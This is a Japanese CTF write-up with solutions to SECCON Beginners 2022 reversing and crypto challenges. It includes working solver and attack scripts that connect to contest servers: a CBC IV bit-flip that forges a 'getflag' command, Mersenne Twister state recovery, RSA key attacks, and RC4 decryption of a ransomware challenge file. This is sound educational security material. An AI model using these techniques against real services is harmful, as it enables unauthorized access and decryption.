Q2. What is system call number 59 on 64-bit Linux?
    64bit Linuxにおけるシステムコール番号59はなんでしょうか？
    1) execve  2) folk  3) open
Answer : 1
Correct!

Q3. Which command is used to extract the readable strings contained in the file?
    ファイルに含まれる可読文字列を抽出するコマンドはどれでしょうか？
    1) file  2) strings  3) readelf
Answer : 2
Correct!

Q4. What is flag?
    フラグはなんでしょうか？
Answer : aaaaaaaa
flag length must be 46.
```

え、なぞなぞに答えるだけ？　かと思いきや、ちゃんと最後は解析が必要になった。

```shell-session
$ strings quiz | grep ctf4b
ctf4b{w0w_d1d_y0u_ca7ch_7h3_fl4g_1n_0n3_sh07?}
```

`ctf4b{w0w_d1d_y0u_ca7ch_7h3_fl4g_1n_0n3_sh07?}`

### WinTLS (easy)

Transport Layer SecurityではなくThread Local Storage。

フラグを2個の文字列振り分けて、それぞれのスレッドで正解の文字列との一致を確認している。

```
ctf4b{abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!}
```

を入力すると、

```
c4{adegjmopstvyBDEHIKNQSTWXZ
c4{fAPu8#FHh2+0cyo8$SWJH3a8X
```

```
tfbbcfhiklnqruwxzACFGJLMOPRUVY!}
tfb%s$T9NvFyroLh@89a9yoC3rPy&3b}
```

が等しいかをチェックされる。上が入力した文字列を変換したもので、下が正解の文字列。

あとは手作業でポチポチ。

`ctf4b{f%sAP$uT98Nv#FFHyrh2o+Lh0@8c9yoa98$ySoCW3rJPH3y&a83Xb}`

### Recursive (easy)

再帰呼び出しでフラグをチェックしている。angrに投げてみたけど、実行が終わらなかった。angrは再帰呼び出しが苦手なのか？

フラグのチェックの処理を書き写して、文字が等しいかチェックしているところを、フラグへの代入に書き換える。

```solve.py
table = """ct`*f4(+bc95".81b{hmr3c/}r@:{&;514od*<h,n'dmxw?leg(yo)ne+j-{(`q/rr3|($0+5s.z{_ncaur${s1v5%!p)h!q't<=l@_8h93_woc4ld%>?cba<dagx|l<b/y,y`k-7{=;{&8,8u5$kkc}@7q@<tm03:&,f1vyb'8%dyl2(g?717q#u>fw()voo$6g):)_c_+8v.gbm(%$w(<h:1!c'ruv}@3`ya!r5&;5z_ogm0a9c23smw-.i#|w{8kepfvw:3|3f5<e@:}*,q>sg!bdkr0x7@>h/5*hi<749'|{)sj1;0,$ig&v)=t0fnk|03j"}7r{}ti}?_<swxju1k!l&db!j:}!z}6*`1_{f1s@3d,vio45<_4vc_v3>hu3>+byvq##@f+)lc91w+9i7#v<r;rr$u@(at>vn:7b`jsmg6my{+9m_-rypp_u5n*6.}f8ppg<m-&qq5k3f?=u1}m_?n9<|et*-/%fgh.1m(@_3vf4i(n)s2jvg0m4"""
n = 0x26
flag = [""]*n

def solve(n, x, y):
  if n==1:
    flag[x] = table[y]
  else:
    solve(n//2, x, y)
    solve(n-n//2, x+n//2, (n//2)**2+y)
solve(n, 0, 0)

print("".join(flag))
```

```
>py solve.py
ctf4b{r3curs1v3_c4l1_1s_4_v3ry_u53fu1}
```

`ctf4b{r3curs1v3_c4l1_1s_4_v3ry_u53fu1}`

### Ransom (medium)

> なんか怪しいファイルと通信記録を捉えました! あれ? ここにあった超重要機密ファイルの名前が変わっているぞ...?
>
> ※ 問題のテーマからするとファイルを削除する機能があるはずですが、デバッグのしやすさのためにファイルを削除する機能は外してあります

バイナリと暗号化されたファイルとpcapが配布される。暗号鍵はpcapにある。

暗号化の処理はRC4かな？　と当りを付けたら正解だった。

```solve.py
from Crypto.Cipher import ARC4

K = b"rgUAvvyfyApNPEYg"
C = b"\x2b\xa9\xf3\x6f\xa2\x2e\xcd\xf3\x78\xcc\xb7\xa0\xde\x6d\xb1\xd4\x24\x3c\x8a\x89\xa3\xce\xab\x30\x7f\xc2\xb9\x0c\xb9\xf4\xe7\xda\x25\xcd\xfc\x4e\xc7\x9e\x7e\x43\x2b\x3b\xdc\x09\x80\x96\x95\xf6\x76\x10"
P = ARC4.new(K).decrypt(C)
print(P.decode())
```

```shell-session
$ python3 solve.py
ctf4b{rans0mw4re_1s_v4ry_dan9er0u3_s0_b4_c4refu1}
```

`ctf4b{rans0mw4re_1s_v4ry_dan9er0u3_s0_b4_c4refu1}`

### please_not_debug_me (hard)

0x13fのsyscallを呼んでる。何かと思ったら、 `memfd_create` だった。メモリ中にファイルを作る機能らしい。そんなものがあるのか。これを使ってELFファイルを書き込み実行している。

```solve1.py
d = open("please_not_debug_me", "rb").read()
open("dec", "wb").write(bytes(x^0x16 for x in d[0x3020:][:0x44c0]))
```

で復号。あとはGhidraで解析した。

```solve2.py
from Crypto.Cipher import ARC4

d = open("dec", "rb").read()

K = d[0x3020:0x3048]
K = bytes(K[i]^i for i in range(len(K)))
print(K)

C = d[0x3060:0x309e]

P = ARC4.new(K).decrypt(C)
print(P.decode())
```

```
$ python3 solve2.py
b'b06aa2f5a5bdf6caa7187873465ce970d04f459d'
ctf4b{D0_y0u_kn0w_0f_0th3r_w4y5_t0_d3t3ct_d36u991n9_1n_L1nux?}
```

`ctf4b{D0_y0u_kn0w_0f_0th3r_w4y5_t0_d3t3ct_d36u991n9_1n_L1nux?}`

## crypto

### CoughingFox (beginner)

```problem.py
from random import shuffle

flag = b"ctf4b{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}"

cipher = []

for i in range(len(flag)):
    f = flag[i]
    c = (f + i)**2 + i
    cipher.append(c)

shuffle(cipher)
print("cipher =", cipher)
```

シャッフルされているけれど、2乗をして値が大きくなっているので、違う位置の暗号結果がたまたま同じになることはないでしょう。

```solve.py
cipher = [12147, 20481, 7073, 10408, 26615, 19066, 19363, 10852, 11705, 17445, 3028, 10640, 10623, 13243, 5789, 17436, 12348, 10818, 15891, 2818, 13690, 11671, 6410, 16649, 15905, 22240, 7096, 9801, 6090, 9624, 16660, 18531, 22533, 24381, 14909, 17705, 16389, 21346, 19626, 29977, 23452, 14895, 17452, 17733, 22235, 24687, 15649, 21941, 11472]

flag = ""
for i in range(64):
 for f in range(128):
  if (f+i)**2+i in cipher:
    flag += chr(f)
print(flag)
```

```shell-session
$ python3 solve.py
ctf4b{Hey,Fox?YouCanNotTearThatHouseDown,CanYou?}
```

`ctf4b{Hey,Fox?YouCanNotTearThatHouseDown,CanYou?}`

### PrimeParty (easy)

素数4個でRSA暗号をしているところに、素数を最大3個追加できる。

追加した素数のmodで考えれば、元からあった素数は無視できる。

```attack.py
from pwn import *
from Crypto.Util.number import *

s = remote("primeparty.quals.beginners.seccon.jp", 1336)

p = getPrime(512)

s.sendlineafter(b"> ", str(p).encode())
s.sendlineafter(b"> ", str(4).encode())
s.sendlineafter(b"> ", str(4).encode())

s.recvuntil(b"n = ")
n = int(s.recvline()[:-1])
s.recvuntil(b"e = ")
e = int(s.recvline()[:-1])
s.recvuntil(b"cipher = ")
cipher = int(s.recvline()[:-1])

d = pow(e, -1, p-1)
flag = pow(cipher, d, p)
print(long_to_bytes(flag).decode())
```

```
$ python3 attack.py
[+] Opening connection to primeparty.quals.beginners.seccon.jp on port 1336: Done
ctf4b{HopefullyWeCanFindSomeCommonGroundWithEachOther!!!}
[*] Closed connection to primeparty.quals.beginners.seccon.jp port 1336
```

`ctf4b{HopefullyWeCanFindSomeCommonGroundWithEachOther!!!}`

### Command (easy)

> 安全なコマンドだけが使えます

コマンドを暗号化する機能と、暗号化したコマンドを実行する機能がある。ただし、 `getflag` は暗号化できず、フラグを得るためには `getflag` を実行する必要がある。

CBCなので、IVのビットを反転させれば復号結果のビットが反転する。

```shell-session
$ nc command.quals.beginners.seccon.jp 5555
----- Menu -----
1. Encrypt command
2. Execute encrypted command
3. Exit
> 1
Available commands: fizzbuzz, primes, getflag
> fizzbuzz
Encrypted command: b13e8b91d082e6bd6efe27641860db80252589dfe4e5de327198dccb8b309f6a
```

```solve.py
from Crypto.Util.Padding import pad

cmd = "b13e8b91d082e6bd6efe27641860db80252589dfe4e5de327198dccb8b309f6a"
cmd = list(bytes.fromhex(cmd))

fizzbuzz = pad(b"fizzbuzz", 16)
getflag = pad(b"getflag", 16)

for i in range(16):
  cmd[i] ^= fizzbuzz[i]^getflag[i]

print(bytes(cmd).hex())
```

```shell-session
$ python3 solve.py
b032858dde96fbce6fff26651961da81252589dfe4e5de327198dccb8b309f6a
$ nc command.quals.beginners.seccon.jp 5555
----- Menu -----
1. Encrypt command
2. Execute encrypted command
3. Exit
> 2
Encrypted command> b032858dde96fbce6fff26651961da81252589dfe4e5de327198dccb8b309f6a
ctf4b{b1tfl1pfl4ppers}
```

`ctf4b{b1tfl1pfl4ppers}`

### Unpredictable Pad (medium)

> CSPRNGじゃなければ予想できるって聞きました。

```chal.py
import random
import os


FLAG = os.getenv('FLAG', 'notflag{this_is_sample_flag}')


def main():
    r = random.Random()

    for i in range(3):
        try:
            inp = int(input('Input to oracle: '))
            if inp > 2**64:
                print('input is too big')
                return

            oracle = r.getrandbits(inp.bit_length()) ^ inp
            print(f'The oracle is: {oracle}')
        except ValueError:
            continue

    intflag = int(FLAG.encode().hex(), 16)
    encrypted_flag = intflag ^ r.getrandbits(intflag.bit_length())
    print(f'Encrypted flag: {encrypted_flag}')


if __name__ == '__main__':
    main()
```

CSPRNGとは、Cryptographically Secure Pseudo Random Number Generator＝暗号論的乱数。

はい、予想できますね……と思ったけど、64ビット変数3個しかくれない。Pythonの乱数はメルセンヌツイスタで内部状態は32ビット変数が624個。充分な情報が無ければ予想できないでしょ。

負値を突っ込むのが答え。

```
>>> (-0b1111).bit_length()
4
```

```attack.py
from pwn import *
from Crypto.Util.number import *
import random

s = remote("unpredictable-pad.quals.beginners.seccon.jp", 9777)

s.sendlineafter(b"Input to oracle: ", str(-2**32+1).encode())
s.sendlineafter(b"Input to oracle: ", str(-2**32+1).encode())

s.sendlineafter(b"Input to oracle: ", str(-2**(32*624)+1).encode())
s.recvuntil(b"The oracle is: ")
X = int(s.recvline()[:-1].decode())
X ^= -2**(32*623)+1

s.recvuntil(b"Encrypted flag: ")
flag = int(s.recvline()[:-1].decode())

X = [X>>(i*32)&0xffffffff for i in range(624)]

for i in range(624):
  X[i] ^= X[i]>>18
  X[i] ^= X[i]<<15 & 0xefc60000 & 0b00111111_11111111_10000000_00000000
  X[i] ^= X[i]<<15 & 0xefc60000 & 0b11000000_00000000_00000000_00000000
  X[i] ^= X[i]<< 7 & 0x9d2c5680 & 0b00000000_00000000_00111111_10000000
  X[i] ^= X[i]<< 7 & 0x9d2c5680 & 0b00000000_00011111_11000000_00000000
  X[i] ^= X[i]<< 7 & 0x9d2c5680 & 0b00001111_11100000_00000000_00000000
  X[i] ^= X[i]<< 7 & 0x9d2c5680 & 0b11110000_00000000_00000000_00000000
  X[i] ^= X[i]>>11 & 0b00000000_00011111_11111100_00000000
  X[i] ^= X[i]>>11 & 0b00000000_00000000_00000011_11111111

for b in range(1, 1000):
  random.setstate((3, tuple(X+[624]), None))
  flag2 = flag^random.getrandbits(b)
  if b"ctf4b{" in long_to_bytes(flag2):
    print(long_to_bytes(flag2).decode())
    break
```

内部状態がそのまま乱数として出てくるわけではないので、内部状態に戻す必要があるのがちょっと面倒。

```
$ python3 attack.py
[+] Opening connection to unpredictable-pad.quals.beginners.seccon.jp on port 9777: Done
ctf4b{M4y_MT19937_b3_w17h_y0u}
[*] Closed connection to unpredictable-pad.quals.beginners.seccon.jp port 9777
```

`ctf4b{M4y_MT19937_b3_w17h_y0u}`

### omni-RSA (hard)

```problem.py
from Crypto.Util.number import *
from flag import flag

p, q, r = getPrime(512), getPrime(256), getPrime(256)
n = p * q * r
phi = (p - 1) * (q - 1) * (r - 1)
e = 2003
d = inverse(e, phi)

flag = bytes_to_long(flag.encode())
cipher = pow(flag, e, n)

s = d % ((q - 1)*(r - 1)) & (2**470 - 1)

assert q < r
print("rq =", r % q)

print("e =", e)
print("n =", n)
print("s =", s)
print("cipher =", cipher)
```

素数が3個のRSA暗号。良く見ると、 $p$ だけビット数が多い。

素数が3個のRSAでも正しい（？）RSAなので正面から解けるわけはなく、 $s$ とかを使うのだろうけど、とっかかりが分からず難しかった。

ところで、 `getPrime(n)` は（最下位ビットを1ビット目として）常に `n` ビット目が立った素数を返す。つまり、 $r=q+rq$ が成り立つ。コード中の変数名をそのまま使っていて紛らわしいが、 $rq$ は $r \times q$ ではなく、1個の変数である。

RSA暗号において、 $e \times d \equiv 1 \mod (p-1)(q-1)(r-1)$ であり、$e \times d \equiv 1 \mod (q-1)(r-1)$ である。

これらを使って、 $x \equiv y \mod z$ を $x = y + k\times z$ に直すなどの式変形をしていくと、次の式が得られる。

$$
k\times q^2 + k\times(rq-2)\times q - k \times rq + k + 1 - e \times s \equiv 0 \mod 2^{470}
$$

ここで、 $k$ はビット数が $e=2003$ のビット数と同程度で総当たりができる。$k$ を固定して考えれば、変数は $q$ 1個で、下位 $470$ ビットの等式から、 $256$ ビットの数を当てられますか？　という問題になる。結果の下位 $b$ ビットに影響するのは $q$ の下位 $b$ ビットだけであることを考えると、下位ビットから $0$ と $1$ を試していくという方法が使える。 $b$ ビットの候補から $b+1$ ビットの結果が2個出てくることはあるものの、平均的には1個であり、候補が指数的に増えたりはしない。

```solve.py
rq = 7062868051777431792068714233088346458853439302461253671126410604645566438638
e = 2003
n = 140735937315721299582012271948983606040515856203095488910447576031270423278798287969947290908107499639255710908946669335985101959587493331281108201956459032271521083896344745259700651329459617119839995200673938478129274453144336015573208490094867570399501781784015670585043084941769317893797657324242253119873
s = 1227151974351032983332456714998776453509045403806082930374928568863822330849014696701894272422348965090027592677317646472514367175350102138331
cipher = 82412668756220041769979914934789463246015810009718254908303314153112258034728623481105815482207815918342082933427247924956647810307951148199551543392938344763435508464036683592604350121356524208096280681304955556292679275244357522750630140768411103240567076573094418811001539712472534616918635076601402584666

from Crypto.Util.number import *

for k in range(1, 2**14):
  print(f"{k=}")
  Q = [0]
  for b in range(256):
    Qold = Q
    Q = []
    for q in Qold:
      q0 = q
      q1 = q+2**b
      a0 = (k*q0*q0 + k*(rq-2)*q0 - k*rq + k + 1 - e*s)%2**(b+1)
      a1 = (k*q1*q1 + k*(rq-2)*q1 - k*rq + k + 1 - e*s)%2**(b+1)
      if a0==0:
        Q += [q0]
      if a1==0:
        Q += [q1]
  ok = False
  for q in Q:
    if n%q==0:
      ok = True
      break
  if ok:
    break

r = q+rq
assert n%r==0
p = n//(q*r)

d = pow(e, -1, (p-1)*(q-1)*(r-1))
flag = pow(cipher, d, n)
print(long_to_bytes(flag).decode())
```

```shell-session
$ python3 solve.py
k=1
k=2
k=3
 :
k=1575
k=1576
ctf4b{GoodWork!!!YouAreTrulyOmniscientAndOmnipotent!!!}
```

## welcome

### Welcome

`ctf4b{W3LC0M3_70_53CC0N_B361NN3R5_C7F_2022}`